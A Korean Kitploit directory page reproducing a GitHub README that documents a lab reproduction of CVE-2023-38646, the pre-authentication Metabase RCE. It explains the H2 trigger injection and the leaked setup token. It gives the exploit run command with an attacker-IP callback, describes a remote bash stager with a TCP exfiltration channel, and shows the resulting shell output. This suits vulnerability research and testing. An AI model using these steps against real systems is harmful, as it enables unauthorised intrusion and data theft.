Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
metabase-cve-2023-38646 — 레포에는 cve 2023-38646의 PoC와 재현 단계가 포함되어 있습니다 | Kitploit
도구/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

레포에는 cve 2023-38646의 PoC와 재현 단계가 포함되어 있습니다

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Metabase 사전 인증 원격 코드 실행

요약

CVSS 9.8. 0.46.6.1 / 1.46.6.1 이전의 Metabase 버전(및 이에 상응하는 이전 브랜치)은 /api/setup/validate 엔드포인트를 통해 사전 인증 RCE를 노출합니다. 이 엔드포인트는 초기 설정 중 데이터베이스 연결 세부 정보를 검증하기 위한 것이지만, 설정이 완료된 후에도 인증 없이 접근 가능합니다.

근본 원인

엔드포인트는 데이터베이스 연결 페이로드를 허용하며, engine: h2가 지정되고 조작된 JDBC 연결 문자열과 함께 사용될 경우 H2의 CREATE TRIGGER ... AS $$//javascript 구문을 통해 임의의 JavaScript를 삽입할 수 있습니다. 트리거 본문은 검증 시 실행되어 공격자에게 JVM 내에서 JavaScript 실행을 제공하며, 이는 java.lang.Runtime.getRuntime().exec()를 통해 OS 명령 실행으로 쉽게 이어집니다.

근본적인 문제는 H2 데이터베이스 엔진이 데이터 소스를 '검증'하는 과정에서 연결 문자열에 포함된 코드를 신뢰하고, Metabase가 이 검증 경로를 사전 인증 상태로 노출한다는 점입니다.

환경

  • 대상: 공식 metabase/metabase:v0.46.6 Docker 이미지
  • 공격자 도구: Python 3, requests, termcolor
  • PoC 출처: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

설정

취약한 Metabase 실행:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

익스플로잇 종속성 설치:

root@kitploit:~
pip3 install requests termcolor

익스플로잇 체인

  1. 설정 토큰 획득 — /api/session/properties는 일회성 초기 설정 흐름을 제한하기 위한 setup-token을 유출하지만, 설정이 완료된 후에도 유효하고 사용 가능한 상태로 남아 있습니다.
  2. 익스플로잇 가능성 확인 — 공격자가 로컬 HTTP 서버를 설정합니다. 조작된 H2 트리거는 대상이 해당 서버로 아웃바운드 콜백을 보내도록 하여 H2 엔진 내에서 JS 실행을 확인합니다.
  3. 명령 실행 — 두 번째 조작된 트리거는 java.lang.Runtime.getRuntime().exec()를 사용하여 공격자의 HTTP 서버에서 bash 스테이저를 가져오고 명령 출력을 원시 TCP 리스너를 통해 base64로 인코딩하여 다시 전송합니다.

실행

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — 공격자 콜백 IP (대상이 로컬 컨테이너인 경우 Docker 브리지 게이트웨이, 예: 172.17.0.1)
  • -p — 역방향 데이터 채널이 연결되는 포트
  • -P — 스테이저 스크립트를 제공하는 로컬 HTTP 서버 포트
  • -u — 대상 Metabase 기본 URL

사전 인증 콜백이 익스플로잇 가능성을 확인하면 대화형 metabase_shell > 프롬프트가 표시됩니다.

결과

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

metabase 서비스 계정으로 명령 실행이 확인되었습니다 — 사전 인증, 자격 증명 불필요. 심각도는 결과 셸의 권한 수준이 아니라 인증 없이 네트워크를 통해 접근 가능한 RCE에서 비롯됩니다.

수정

Metabase 0.46.6.1 / 1.46.6.1 이상에서 패치됨 — /api/setup/validate 엔드포인트는 이제 설정이 실제로 완료되지 않아야 하며, 초기 설정이 완료되면 설정 토큰이 무효화됩니다.

면책 조항

격리된 실험실 전용으로만 사용하십시오. 소유하지 않거나 테스트할 명시적 권한이 없는 Metabase 인스턴스에 대해 실행하지 마십시오.

도구 다운로드